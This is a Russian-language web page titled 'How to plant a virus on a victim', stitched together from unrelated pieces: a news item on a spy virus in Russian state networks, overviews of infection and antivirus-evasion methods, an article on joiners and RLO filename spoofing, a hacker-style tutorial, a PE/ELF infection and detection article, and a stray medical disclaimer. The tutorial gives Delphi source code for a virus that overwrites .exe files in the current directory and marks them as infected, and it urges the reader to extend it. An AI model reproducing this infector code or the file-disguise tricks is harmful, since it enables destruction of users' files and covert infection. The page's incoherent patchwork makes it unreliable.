Как внедрить вирус жертве

Кто внедрил вирус-шпион в сети российских госорганов и оборонных предприятий

Фото: Boris Roessler / dpa / Globallookpress.com

Что произошло

Специалисты ФСБ уже проанализировали вирус. Они утверждают, что по содержащимся в нем файлам и общей стилистке написания он очень схож с вредоносными программами, которые уже использовались для атаки как на российские, так и иностранные компании и предприятия. Во всех случаях целью внедрения вируса был кибершпионаж.


В ФСБ считают, что атака на российскую компьютерную инфраструкуру носила четкий и спланированный характер

Фото: Виталий Невар / ТАСС

В настоящее время ФСБ и профильные ведомства также установили и локализовали все зараженные компьютеры, серверы и узлы, чтобы помешать дальнейшему распространению вируса и минимизировать негативные последствия.

Что может вирус

В ФСБ отмечают, что вредоносная программа незаметно скачивается и устанавливается в компьютер жертвы, после чего самостоятельно подгружает необходимые для работы модули. Затем она начинает перехватывать сетевой трафик, таким образом исследуя все действия жертвы в интернете. Обычно подобные вирусы также способны копировать логины и пароли для входа на сайты, информацию о совершаемых в интернете платежах, а также сами данные платежных карт. Анализирующие полученную информацию злоумышленники затем могут войти на те или иные ресурсы под видом жертвы, а также получают абсолютно полную информацию о ее сетевой активности.

Вирус может делать скриншоты с экрана, так что если жертва просматривает на зараженном компьютере важные документы и файлы, то они непременно окажутся в руках злоумышленников. Программа также способна наблюдать за жертвой и происходящим вокруг, получив доступ к веб-камере и микрофону зараженного компьютера, и записывать всю эту информацию.

Наконец, вирус анализирует данные о нажатии на клавиши клавиатуры. Иными словами, злоумышленники знают, что печатают на зараженном компьютере. Специалисты ФСБ отмечают, что организаторы атаки могли получить доступ и к смартфонам своих жертв.

Как происходило заражение

Сначала злоумышленники устанавливают потенциальную жертву из числа работников будущего объекта взлома и изучают ее поведение и привычки в сети. Для этого анализируются социальные сети человека, в ряде случаев взламывается его домашний компьютер и смартфон. Но иногда хватает нескольких телефонных звонков, а также предварительного анализа социальных сетей жертвы.


Для доступа к компьютерам жертв злоумышленники могли использовать сочетание социальной инженерии и фишинговой атаки

Фото: Александр Кряжев / РИА Новости

В зависимости от типа вредоносной программы, она либо сама скачивает необходимые для слежения инструменты, либо это удаленно делает злоумышленник. После этого вирус начинает собирать данные, а также распространяется по сетям атакуемого объекта, заражая все новые устройства.

В ФСБ уже косвенно подтвердили, что программа была модифицирована для каждой жертвы с учетом характеристик ее компьютера.

Кто может стоять за атакой

Зампред комитета Госдумы по безопасности и противодействию коррупции Дмитрий Горовцев уже отметил, что за кибератакой скорее всего стоят США.

В США давно поняли необходимость создания команд профессиональных специалистов по информационной безопасности, способных как защитить страну от киберугроз, так и осуществлять компьютерные атаки на инфраструктуру вероятных противников. Еще в 2009 году Министерство обороны США объявило о создании киберкомандования, и к 2018 году у американцев будут функционировать 133 группы правительственных хакеров.

В настоящее время постоянный мониторинг киберугроз осуществляют уже 27 групп, а в Пентагоне всерьез обсуждается вопрос о выделении киберкомандования в отдельную общевойсковую структуру.

Самым громким успехом американских правительственных хакеров стала атака на иранские атомные объекты. В 2010 году специально написанный компьютерный червь Stuxnet нанес непоправимый вред ядерной программе Ирана, проникнув в компьютерные сети пяти промышленных комплексов и приостановив работу центрифуг по обогащению урана. Программа также заразила личные компьютеры сотрудников нескольких АЭС, а американцы получили полную информацию о состоянии атомной энергетики в стране. Согласно опубликованным на WikiLeaks документам, записанного на флешку червя в закрытую сеть внедрил один из иностранных сотрудников АЭС.


В 2010 году разработанный и внедренный американскими специалистами червь Stuxnet нанес непоправимый вред ядерной программе Ирана

Фото: IIPA / Getty Images

Также известно, что американские спецслужбы вербуют хакеров-одиночек для сбора разведывательной информации. Одним из них стал уроженец Киева Максим Попов, помогавший ФБР бороться со взломщиками кредитных карт.

Еще одной страной, способной внедрить мощный вирус в компьютерную инфраструктуру российских предприятий, является Китай. В июне эксперты в области кибербезопасности отмечали, что внимание работающих на руководство Поднебесной хакеров постепенно переключается на Россию, о чем свидетельствует уменьшение числа атак на американские компании.

Одна из самых авторитетных компаний в области компьютерной безопасности FireEye в своем докладе подчеркивала, что за последние два года специалисты зафиксировали резкое снижение числа попыток проникнуть в системы различных американских компаний с целью похищения торговых и промышленных секретов.

Необходимой для вирусописателей и кибер-преступников задачей является внедрение вируса, червя или троянской программы в компьютер-жертву или мобильный телефон. Достигается эта цель различными способами, которые делятся на две основные категории:

Часто эти способы используются одновременно. При этом так же часто используются специальные меры по противодействию антивирусным программам.

Социальная инженерия

Методы социальной инженерии тем или иным способом заставляют пользователя запустить заражённый файл или открыть ссылку на заражённый веб-сайт. Эти методы применяются не только многочисленными почтовыми червями, но и другими видами вредоносного программного обеспечения.


Случаются и казусы, один из которых произошел в ноябре 2005. В одной из версий червя Sober сообщалось, что немецкая криминальная полиция расследует случаи посещения нелегальных веб-сайтов. Это письмо попало к любителю детской порнографии, который принял его за официальное письмо, — и послушно сдался властям.

  • AIM & AOL Password Hacker.exe
  • Microsoft CD Key Generator.exe
  • PornStar3D.exe
  • play station emulator crack.exe

В поиске новых программ пользователи P2P-сетей натыкаются на эти имена, скачивают файлы и запускают их на выполнение.

Бывают и довольно экзотические случаи, например, письмо с вложенным документом, в котором клиента банка просят подтвердить (вернее — сообщить) свои коды доступа — распечатать документ, заполнить прилагаемую форму и затем отправить её по факсу на указанный в письме телефонный номер.

Технологии внедрения

Эти технологии используются злоумышленниками для внедрения в систему вредоносного кода скрытно, не привлекая внимания владельца компьютера. Осуществляется это через уязвимости в системе безопасности операционных систем и в программном обеспечении. Наличие уязвимостей позволяет изготовленному злоумышленником сетевому червю или троянской программе проникнуть в компьютер-жертву и самостоятельно запустить себя на исполнение.

Уязвимости являются, по сути, ошибками в коде или в логике работы различных программ. Современные операционные системы и приложения имеют сложную структуру и обширный функционал, и избежать ошибок при их проектировании и разработке просто невозможно. Этим и пользуются вирусописатели и компьютерные злоумышленники.

Уязвимостями в почтовых клиентах Outlook пользовались почтовые черви Nimda и Aliz. Для того чтобы запустить файл червя, достаточно было открыть заражённое письмо или просто навести на него курсор в окне предварительного просмотра.

Также вредоносные программы активно использовали уязвимости в сетевых компонентах операционных систем. Для своего распространения такими уязвимостями пользовались черви CodeRed, Sasser, Slammer, Lovesan (Blaster) и многие другие черви, работающие под ОС Windows. Под удар попали и Linux-системы — черви Ramen и Slapper проникали на компьютеры через уязвимости в этой операционной среде и приложениях для неё.

В последние годы одним из наиболее популярных способов заражения стало внедрение вредоносного кода через веб-страницы. При этом часто используются уязвимости в интернет-браузерах. На веб-страницу помещается заражённый файл и скрипт-программа, которая использует уязвимость в браузере. При заходе пользователя на заражённую страницу срабатывает скрипт-программа, которая через уязвимость закачивает заражённый файл на компьютер и запускает его там на выполнение. В результате для заражения большого числа компьютеров достаточно заманить как можно большее число пользователей на такую веб-страницу. Это достигается различными способами, например, рассылкой спама с указанием адреса страницы, рассылкой аналогичных сообщений через интернет-пейджеры, иногда для этого используют даже поисковые машины. На заражённой странице размещается разнообразный текст, который рано или поздно обсчитывается поисковыми машинами — и ссылка на эту страницу оказывается в списке других страниц в результатах поиска.

Одновременное использование технологий внедрения и методов социальной инженерии

Достаточно часто компьютерными злоумышленниками используются сразу оба метода. Метод социальной инженерии — для привлечения внимания потенциальной жертвы, а технический — для увеличения вероятности проникновения заражённого объекта в систему.

Противодействие антивирусным программам

Поскольку цель компьютерных злоумышленников — внедрить вредоносный код в компьютеры-жертвы, то для этого им необходимо не только вынудить пользователя запустить заражённый файл или проникнуть в систему через какую-либо уязвимость, но и незаметно проскочить мимо установленного антивирусного фильтра. Поэтому не удивительно, что злоумышленники целенаправленно борются с антивирусными программами. Используемые ими технические приёмы весьма разнообразны, но чаще всего встречаются следующие:

Упаковка и шифрование кода. Значительная часть (если не большинство) современных компьютерных червей и троянских программ упакованы или зашифрованы тем или иным способом. Более того, компьютерным андеграундом создаются специально для этого предназначенные утилиты упаковки и шифровки. Например, вредоносными оказались абсолютно все встретившиеся в интернете файлы, обработанные утилитами CryptExe, Exeref, PolyCrypt и некоторыми другими.

Для детектирования подобных червей и троянцев антивирусным программам приходится либо добавлять новые методы распаковки и расшифровки, либо добавлять сигнатуры на каждый образец вредоносной программы, что снижает качество детектирования, поскольку не всегда все возможные образцы модифицированного кода оказываются в руках антивирусной компании.

Остановка работы антивируса и системы получения обновлений антивирусных баз (апдейтов). Многие троянские программы и сетевые черви предпринимают специальные действия против антивирусных программ — ищут их в списке активных приложений и пытаются остановить их работу, портят антивирусные базы данных, блокируют получение обновлений и т.п. Антивирусным программам приходится защищать себя адекватными способами — следить за целостностью баз данных, прятать от троянцев свои процессы и т.п.

Скрытие своего кода на веб-сайтах. Адреса веб-страниц, на которых присутствуют троянские файлы, рано или поздно становятся известны антивирусным компаниям. Естественно, что подобные страницы попадают под пристальное внимание антивирусных аналитиков — содержимое страницы периодически скачивается, новые версии троянских программ заносятся в антивирусные обновления. Для противодействия этому веб-страница модифицируется специальным образом — если запрос идёт с адреса антивирусной компании, то скачивается какой-нибудь нетроянский файл вместо троянского.


Рубрика: Информационные технологии

Дата публикации: 19.05.2016 2016-05-19

Статья просмотрена: 834 раза

В статье рассматриваются два наиболее актуальных в настоящее время способа внедрения компьютерных вирусов на компьютеры пользователей. Описываются способы защиты от них. Данная статья носит ознакомительный характер и не является призывом к действию.

Ключевые слова: вирус, вредоносная программа, информационная система, компьютер, юникод, RLO, джойнер.

Современный Интернет состоит не только из полезной информации, поэтому используя его, следует учитывать, чем может обернуться незнание тонкостей внедрения компьютерных вирусов.

Стоит отметить, что в настоящее время, современные вирусы уже не такие, как раньше. Если тогда, вирус мог быть бесполезен и наводил страх на жертву, то сейчас вредоносные программы выполняют утилитарные функции и, чаще всего, в скрытом режиме. Это может быть создание огромной компьютерной сети с целью сетевых атак, сбор паролей, шпионаж.

С течением времени меняются не только вирусы, но и методы их внедрения и сложность их последующего удаления. Если раньше, вредоносная программа могла быть без иконки с расширением “.exe” и это было нормально, то сейчас современный пользователь уже подумает, перед тем, как его открыть. Поэтому злоумышленники, которые разрабатывают вирусы и распространяют их, пытаются обойти антивирусные защиты и возможность отслеживания вируса вручную.

На данный момент существует два актуальных способа внедрения компьютерных вирусов, о которых пользователи не догадываются, а антивирусы не имеют достаточного опыта для своевременного их отслеживания:

– Использование джойнера (joiner) файлов с последующим распространением под видом рядовой программы.

– Использование символов юникода в названии файлов вирусов.

Использование джойнера.

Джойнер (joiner) — программа, которая позволяет “склеивать” вредоносную программу с любым файлом в конечный формат “.exe”. Таким образом, взяв, к примеру, дистрибутив программы 2ГИС, становится возможным связать его с вирусом и отправить как обычный инсталлятор обычному пользователю.

Самым простым джойнером является любой архиватор (например, WinRAR). Архиваторы имеют функцию создания самораспаковывающихся архивов SFX, у которых на выходе расширение “.exe”. Таким образом, в архив добавляются два исполняемых файла и запаковываются. Далее, остаётся методом простого обмана заставить пользователя компьютера открыть данный архив и с этого момента процесс не обратим.

К слову, антивирусы никак не реагируют на данный метод склейки файлов, так как он считается легальным. SFX-архивы используются в повсеместном использовании, хоть и не так часто, как это было задумано. Разработчики антивирусов не берут во внимание тот факт, что данным способом также пользуются в корыстных целях.

Использование символов юникода.

Юникод — один из стандартов кодирования символов. Позволяет представить знаки почти всех письменных языков. Операционная система Windows поддерживает символы юникода в названиях файлов. А так как, Windows является самой распространённой системой на ПК, то значит и злоумышленник имеет некоторое преимущество перед жертвой.

Юникод в название файла добавить очень просто, достаточно вызвать контекстное меню и выбрать нужный символ (рис. 1). В нашем случае, это код RLO (Начать отмену справа налево).


Рис. 1. Демонстрация вставки символа юникода RLO

Суть данного кода — зеркалирование символов после вставленного кода. Например, файл имеет название “TESTgpj.exe”, вставив RLO после “TEST”, то получим: “TESTexe.jpg”. Смысл перестановки расширений файлов в том, что обычный пользователь в первую очередь посмотрит на расширение файла, чтобы не заразить свой компьютер. Жертва, руководствуясь своими базовыми знаниями, поймёт, что это изображение (формат “.jpg”) и отбросит всякие подозрения.

Антивирусные программы также бессильны в данном случае, так как просто-напросто не проверяют названия файлов на символы юникода в нём. Данная функция в операционной системе Windows является стандартной.

Способы защиты.

Использование профессионального джойнера никак нельзя отследить на готовом файле с расширением “.exe”. В таком случае лучше обезопасить себя, скачивая необходимые программы с официальных сайтов разработчиков. Что касается джойнера SFX-архивом, то его можно отследить, попробовав открыть готовый файл архивом. Если открывается архив без каких-либо ошибок, значит подозрения оправдываются.

В случае юникода в имени файла проверить подлинное расширение можно через меню “Свойства”. Графа “Тип файла”. Если там написано “Приложение (.exe)”, то стоит задуматься.

Данные способы внедрения существуют довольно давно и до сих пор являются проблемой для рядовых пользователей. Если человек не разбирается в компьютере также хорошо, как продвинутый пользователь, то он вряд ли заподозрит вредоносную программу в таких случаях, ведь с виду ничего необычного нет. К сожалению, антивирусные компании не берут во внимание данные аспекты в компьютерной вирусологии, что даёт возможность злоумышленникам использовать данные методы заражения всё снова и снова…

1. Климентьев К. Е. Компьютерные вирусы и антивирусы: взгляд программиста. М.: ДМК-Пресс, 2013. — 656 с.

HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.е.
программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и "заражает" дальше.

HLLC- High Level Language Companion. Большинство таких вирусов от-носятся к седой древности (8-10 лет назад), когда у пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с расширением .COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация
HLLC - более современная (7 лет ;)): Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает оригинальный файл. Т.е. пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все довольны.

HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди (Первым стартует вирус, затем он восстанавливает программу и запускает ее) или сзади
- тогда в заголовок проги мы пишем jmp near на тело вируса, все-таки запускаясь первыми.

Саму же программу мы можем оставить в неизменном виде, тогда это будет выглядеть так:

MZТело злобного вируса
MZКод программы

Что такое MZ, я думаю, ты догадался 🙂 Это же инициалы твоего любимого Марка Збиковски, которые он скромно определил в сигнатуру exe файла 🙂 А вписал я их сюда только для того, чтобы ты понЯл
- заражение происходит по принципу copy /b virus.exe program.exe, и никаких особых приколов тут нет. Сейчас нет. Но мы их с тобой нафигачим
- будь здоров :). Ну, например: можно первые 512 или больше байт оригинальной программы зашифровать любым известным тебе алгоритмом- XOR/XOR, NOT/NOT, ADD/SUB, тогда это будет выглядеть как:

MZтело злобного вируса
XORed часть ориг. проги
Неизменная часть ориг. проги

В этом случае структура зараженного файла не будет так понятна.
Я не зря тут (в классификации, в смысле) так распинаюсь
- parasitic-алгоритм используют 90% современных вирусов, независимо от их способа распространения. Ладно, идем дальше:

Сетевой вирус. Может быть любым из перечисленных. Отличается тем, что его распространение не
ограничивается одним компом, эта зараза каким-либо способом лезет через инет или локальную сеть на другие машины. Я думаю, ты регулярно выносишь из мыльника 3-4 таких друга
- вот тебе пример сетевого вируса. А уж попав на чужой комп, он заражает файлы произвольным образом, или не заражает ВООБЩЕ.

Макро вирусы, скриптовые вирусы, IRC вирусы. В одну группу я определил их потому, что это вирусы, написанные на языках, встроенных в приложения (MSOffice :)), скриптах (тут рулит твой любимый VBS) и IRC скриптах. Строго говоря, как только в каком-то приложении появляется достаточно мощная (и/или дырявая) скриптовая компонента, на ней тут же начинают писать вирусы 😉 Кстати, макро вирусы очень просты и легко определяются эвристикой.

Дошли 🙂 Давай, запускай дельфи, убивай всякие окошки и вытирай из окна проекта всю чушь. То есть вообще все вытирай 🙂 Мы будем работать только с DPRом, содержащим:

program EVIL_VIRUS;
USES WINDOWS,SYSUTILS;
begin
end;

Логику вируса, я думаю, ты уже понял из классификации- восстанавливаем и запускаем прогу--> ждем завершения ее работы--> стираем "отработавший файл" (забыл сказать- мы НЕ ЛЕЧИМ зараженную прогу, мы переносим оригинальный код в левый файл и запускаем его. ПРИМЕР: Зараженный файл NOTEPAD.EXE. Создаем файл _NOTEPAD.EXE в том же каталоге с оригинальным кодом, и запускаем уже его).--> ищем незараженное файло и заражаем. Это все 🙂 Базовая конструкция вируса выглядит именно так.

Объяви теперь для своего могучего мозга следующие переменные и константы:

VaR VirBuf, ProgBuf, MyBuf : array of char;
SR : TSearchRec;
My,pr : File;
ProgSize,result : integer;
PN,st : String;
si : Tstartupinfo;
p :Tprocessinformation;
infected : boolean;
CONST VirLen: longint= 1000000;

Первой строчкой идут динамические массивы, в которые мы будем писать соответственно тело вируса и программы; В переменную SR запишутся
характеристики найденного файла-кандидата на заражение (надеюсь, ты знаком с процедурами FindFirst и FindNext, потому что дальше будет хуже ;)), My и
Pr - это файл, откуда мы стартовали и левый файл с оригинальным кодом программы (я про него уже писал выше). result- результат работы FindFirst, он должен быть равен нулю,
ProgSize - размер кода программы. Остальное ясно из дальнейшего, кроме
infected - это признак зараженности найденного файла и
VirLen- это длина кода вируса, ее ты узнаешь только после свадьбы. Тьфу, я хотел сказать, после компиляции. Т.е. компилируешь, меняешь значение константы в исходнике и перекомпилируешь.
Кодим далее 🙂 Здесь ты видишь код, ответственный за восстановление и запуск зараженной программы:

SetLength (virbuf,VirLen);
AssignFile (my,ParamStr(0));
st:= paramstr(0);
St:= st+#0;
CopyFile (@st[1],'c:\windows\program.exe',false);
IF FileSize (my)> VirLen then
begin
//Запуск программы
AssignFile (my,'c:\windows\program.exe);
Reset (my);
ProgSize:= FileSize(my)-VirLen;
BlockRead (my,virbuf,virlen);
SetLength (progbuf,pRogSize);
BlockRead (my,progbuf,progSize);
CloseFile (my);
PN:= '_'+ParamStr(0);
AssignFile (pr,PN);
ReWrite (pr);
BlockWrite (pr,progbuf,progSize);
CloseFile (pr);
FillChar( Si, SizeOf( Si ) , 0 );
with Si do
begin
cb := SizeOf( Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
PN:= PN+#0;
Createprocess(nil,@PN[1],nil,nil,false,Create_default_error_mode,nil,nil,si,p);
Waitforsingleobject(p.hProcess,infinite);
//Запустили, программа отработала. Сотрем ее 🙂
ErAsE (pr);
Erase (my);

Тут все, в принципе просто и понятно, кроме того, зачем я перенес весь зараженный файл в каталог к виндам и что делают строчки с 3 по 5 включительно.
А сделал я это потому, что читать из запущенного файла некомфортно и возможно только с использованием CreateFile и ReadFile WinAPI. Про кодинг на WinAPI я расскажу позднее, сейчас я разберу только основы
- на Delphi.

Строчки эти - преобразование string в pchar народным методом, поскольку мы сейчас боремся за каждый байт кода. Еще момент: я поступил некорректно, задав путь c:\windows так жестко. Пользуйся лучше процедурой GetWindowsDirectory, узнай точно 🙂 Все остальное понятно без всяких комментариев (если нет
завязывай прогуливать информатику ;)), идем дальше:

result:= FindFirst ('*.exe',faAnyFile,sr);
WHILE Result= 0 DO
begin
//Проверка на вшивость
Infected:= false;
IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= '03.08.98 06:00:00' then infected:= true;
//Проверено!
IF (infected= false)and (sr.name<>paramstr(0)) then
begin
AssignFile (my,sr.Name);
ReWrite (my);
BlockWrite (my,virbuf,virlen);
BlockWrite (my,progbuf,sr.Size);
CloseFile (my);
FileSetDate (sr.Name,DateTimeToFileDate(StrToDateTime ('03.08.98 06:00:00')));
end;
end;

//Если вир запущен "чистым", т.е. не из зараженной про-граммы, то завершаемся
end else halt;

Что же твой зоркий глаз видит тут? Правильно, процедура FindFirst ищет нам заданную жертву (любой exe файл из текущего каталога), передает его характеристики в переменную SR. Затем необходимо его проверить на зараженность. Это делается оригинально: при заражении файлу присваивается опр. дата и время. И любой файл с такими характеристиками считается зараженным. Все остальное опять же нецензурно просто, поэтому я плавно перехожу к заключению 🙂

Вот мы и накодили наш первый вирус. Пока он умеет только заражать файлы в текущем каталоге (хотя, я уверен, ты его легко модернизируешь ;)) и ничего не знает про другие каталоги и интернет. Не отчаивайся, мы его этому быстро обучим. Пока поиграйся с этими строчками, и жди следующей статьи.

Рискну дать тебе описание всех процедур, использованных в статье. Это поможет тебе искать их в хелпе и подготовиться к кодингу серьезных вирусов с использованием
WinAPI.

AssignFile - в WinAPI нет аналога - сопоставляет файл
с переменной типа File или TextFile

Reset - аналоги _lopen и CreateFile - открывает
существующий файл и устанавливает позицию
чтения в начало

ReWrite - _lcreate и CreateFile - создает новый файл и
уст. позицию чтения в начало. Если скормить
ReWrite существующий файл, его содержимое
будет обнулено

BlockRead - _lread и ReadFile - читает в буфер
определенное количество данных из файла

BlockWrite - _lwrite и WriteFile - соответственно, пишет
данные в файл

SeekFile - _llseek и SetFilePointer - перемещает позицию
чтения/записи в открытом файле

CloseFile - _lclose и CloseHandle - закрывает открытый
файл

Erase - DeleteFile - удаление файла

FindFirst - FindFirstFile - поиск файла по критериям

FindNext - FindNextFile - поиск следующего файла


Поговорим о компьютерных вирусах? Нет, не о том, что вчера поймал ваш антивирус. Не о том, что вы скачали под видом инсталлятора очередного Photoshop. Не о rootkit-e, который стоит на вашем сервере, маскируясь под системный процесс. Не о поисковых барах, downloader-ах и другой малвари. Не о коде, который делает плохие вещи от вашего имени и хочет ваши деньги. Нет, всё это коммерция, никакой романтики…

В общем, для статьи вполне достаточно лирики, перейдем к делу. Я хочу рассказать о классическом вирусе, его структуре, основных понятиях, методах детектирования и алгоритмах, которые используются обеими сторонами для победы.

Мы будем говорить о вирусах, живущих в исполняемых файлах форматов PE и ELF, то есть о вирусах, тело которых представляет собой исполняемый код для платформы x86. Кроме того, пусть наш вирус не будет уничтожать исходный файл, полностью сохраняя его работоспособность и корректно инфицируя любой подходящий исполняемый файл. Да, ломать гораздо проще, но мы же договорились говорить о правильных вирусах, да? Чтобы материал был актуальным, я не буду тратить время на рассмотрение инфекторов старого формата COM, хотя именно на нем были обкатаны первые продвинутые техники работы с исполняемым кодом.

Начнём со свойств кода вируса. Чтобы код удобней было внедрять, разделять код и данные не хочется, поэтому обычно используется интеграция данных прямо в исполняемый код. Ну, например, так:


Все эти варианты кода при определенных условиях можно просто скопировать в память и сделать JMP на первую инструкцию. Правильно написав такой код, позаботившись о правильных смещениях, системных вызовах, чистоте стека до и после исполнения, и т.д., его можно внедрять внутрь буфера с чужим кодом.

Исполняемый файл (PE или ELF) состоит из заголовка и набора секций. Секции – это выровненные (см. ниже) буферы с кодом или данными. При запуске файла секции копируются в память и под них выделяется память, причем совсем необязательно того объёма, который они занимали на диске. Заголовок содержит разметку секций, и сообщает загрузчику, как расположены секции в файле, когда он лежит на диске, и каким образом необходимо расположить их в памяти перед тем, как передать управление коду внутри файла. Для нас интересны три ключевых параметра для каждой секции, это psize, vsize, и flags. Psize (physical size) представляет собой размер секции на диске. Vsize (virtual size) – размер секции в памяти после загрузки файла. Flags – атрибуты секции (rwx). Psize и Vsize могут существенно различаться, например, если программист объявил в программе массив в миллион элементов, но собирается заполнять его в процессе исполнения, компилятор не увеличит psize (на диске содержимое массива хранить до запуска не нужно), а вот vsize увеличит на миллион чего-то там (в runtime для массива должно быть выделено достаточно памяти).

Флаги (атрибуты доступа) будут присвоены страницам памяти, в которые секция будет отображена. Например, секция с исполняемым кодом будет иметь атрибуты r_x (read, execute), а секция данных атрибуты rw_ (read,write). Процессор, попытавшись исполнить код на странице без флага исполнения, сгенерирует исключение, то же касается попытки записи на страницу без атрибута w, поэтому, размещая код вируса, вирмейкер должен учитывать атрибуты страниц памяти, в которых будет располагаться код вируса. Стандартные секции неинициализированных данных (например, область стека программы) до недавнего времени имели атрибуты rwx (read, write, execute), что позволяло копировать код прямо в стек и исполнять его там. Сейчас это считается немодным и небезопасным, и в последних операционных системах область стека предназначена только для данных. Разумеется, программа может и сама изменить атрибуты страницы памяти в runtime, но это усложняет реализацию.

Также, в заголовке лежит Entry Point — адрес первой инструкции, с которой начинается исполнение файла.

Необходимо упомянуть и о таком важном для вирмейкеров свойстве исполняемых файлов, как выравнивание. Для того чтобы файл оптимально читался с диска и отображался в память, секции в исполняемых файлах выровнены по границам, кратным степеням двойки, а свободное место, оставшееся от выравнивания (padding) заполнено чем-нибудь на усмотрение компилятора. Например, логично выравнивать секции по размеру страницы памяти – тогда ее удобно целиком копировать в память и назначать атрибуты. Даже вспоминать не буду про все эти выравнивания, везде, где лежит мало-мальски стандартный кусок данных или кода, его выравнивают (любой программист знает, что в километре ровно 1024 метра). Ну а описание стандартов Portable Executable (PE) и Executable Linux Format (ELF) для работающего с методами защиты исполняемого кода – это настольные книжки.

Если мы внедрим свой код в позицию точно между инструкциями, то сможем сохранить контекст (стек, флаги) и, выполнив код вируса, восстановить все обратно, вернув управление программе-хосту. Конечно, с этим тоже могут быть проблемы, если используются средства контроля целостности кода, антиотладка и т.п., но об этом тоже во второй статье. Для поиска такой позиции нам необходимо вот что:

  • поставить указатель точно на начало какой-нибудь инструкции (просто так взять рандомное место в исполняемой секции и начать дизассемблирование с него нельзя, один и тот же байт может быть и опкодом инструкции, и данными)
  • определить длину инструкции (для архитектуры x86 инструкции имеют разные длины)
  • переместить указатель вперед на эту длину. Мы окажемся на начале следующей инструкции.
  • повторять, пока не решим остановиться

Это минимальный функционал, необходимый для того, чтобы не попасть в середину инструкции, а функция, которая принимает указатель на байтовую строку, а в ответ отдает длину инструкции, называется дизассемблером длин. Например, алгоритм заражения может быть таким:
  1. Выбираем вкусный исполняемый файл (достаточно толстый, чтобы в него поместилось тело вируса, с нужным распределением секций и т.п.).
  2. Читаем свой код (код тела вируса).
  3. Берем несколько первых инструкций из файла-жертвы.
  4. Дописываем их к коду вируса (сохраняем информацию, необходимую для восстановления работоспособности).
  5. Дописываем к коду вируса переход на инструкцию, продолжающую исполнение кода-жертвы. Таким образом, после исполнения собственного кода вирус корректно исполнит пролог кода-жертвы.
  6. Создаем новую секцию, записываем туда код вируса и правим заголовок.
  7. На место этих первых инструкций кладем переход на код вируса.

Это вариант вполне себе корректного вируса, который может внедриться в исполняемый файл, ничего не сломать, скрыто выполнить свой код и вернуть исполнение программе-хосту. Теперь, давайте его ловить.

Думаю, не надо описывать вам компоненты современного антивируса, все они крутятся вокруг одного функционала – антивирусного детектора. Монитор, проверяющий файлы на лету, сканирование дисков, проверка почтовых вложений, карантин и запоминание уже проверенных файлов – все это обвязка основного детектирующего ядра. Второй ключевой компонент антивируса – пополняемые базы признаков, без которых поддержание антивируса в актуальном состоянии невозможно. Третий, достаточно важный, но заслуживающий отдельного цикла статей компонент – мониторинг системы на предмет подозрительной деятельности.

Итак (рассматриваем классические вирусы), на входе имеем исполняемый файл и один из сотни тысяч потенциальных вирусов в нем. Давайте детектировать. Пусть это кусок исполняемого кода вируса:

Как мы увидели, для быстрого и точного сравнения детектору необходимы сами байты сигнатуры и ее смещение. Или, другим языком, содержимое кода и адрес его расположения в файле-хосте. Поэтому понятно, как развивались идеи сокрытия исполняемого кода вирусов – по двум направлениям:

  • сокрытие кода самого вируса;
  • сокрытие его точки входа.

Сокрытие кода вируса в результате вылилось в появление полиморфных движков. То есть движков, позволяющих вирусу изменять свой код в каждом новом поколении. В каждом новом зараженном файле тело вируса мутирует, стараясь затруднить обнаружение. Таким образом, затрудняется создание содержимого сигнатуры.

Сокрытие точки входа (Entry Point Obscuring) в результате послужило толчком для появления в вирусных движках автоматических дизассемблеров для определения, как минимум, инструкций перехода. Вирус старается скрыть место, с которого происходит переход на его код, используя из файла то, что в итоге приводит к переходу: JMP, CALL, RET всякие, таблицы адресов и т.п. Таким образом, вирус затрудняет указание смещения сигнатуры.

Гораздо более подробно некоторые алгоритмы таких движков и детектора мы посмотрим во второй статье, которую я планирую написать в ближайшее время.

Рассмотренный в статье детектор легко детектирует неполиморфные (мономорфными их назвать, что ли) вирусы. Ну а переход к полиморфным вирусам является отличным поводом, наконец, завершить эту статью, пообещав вернуться к более интересным методам сокрытия исполняемого кода во второй части.

Читайте также:

Пожалуйста, не занимайтесь самолечением!
При симпотмах заболевания - обратитесь к врачу.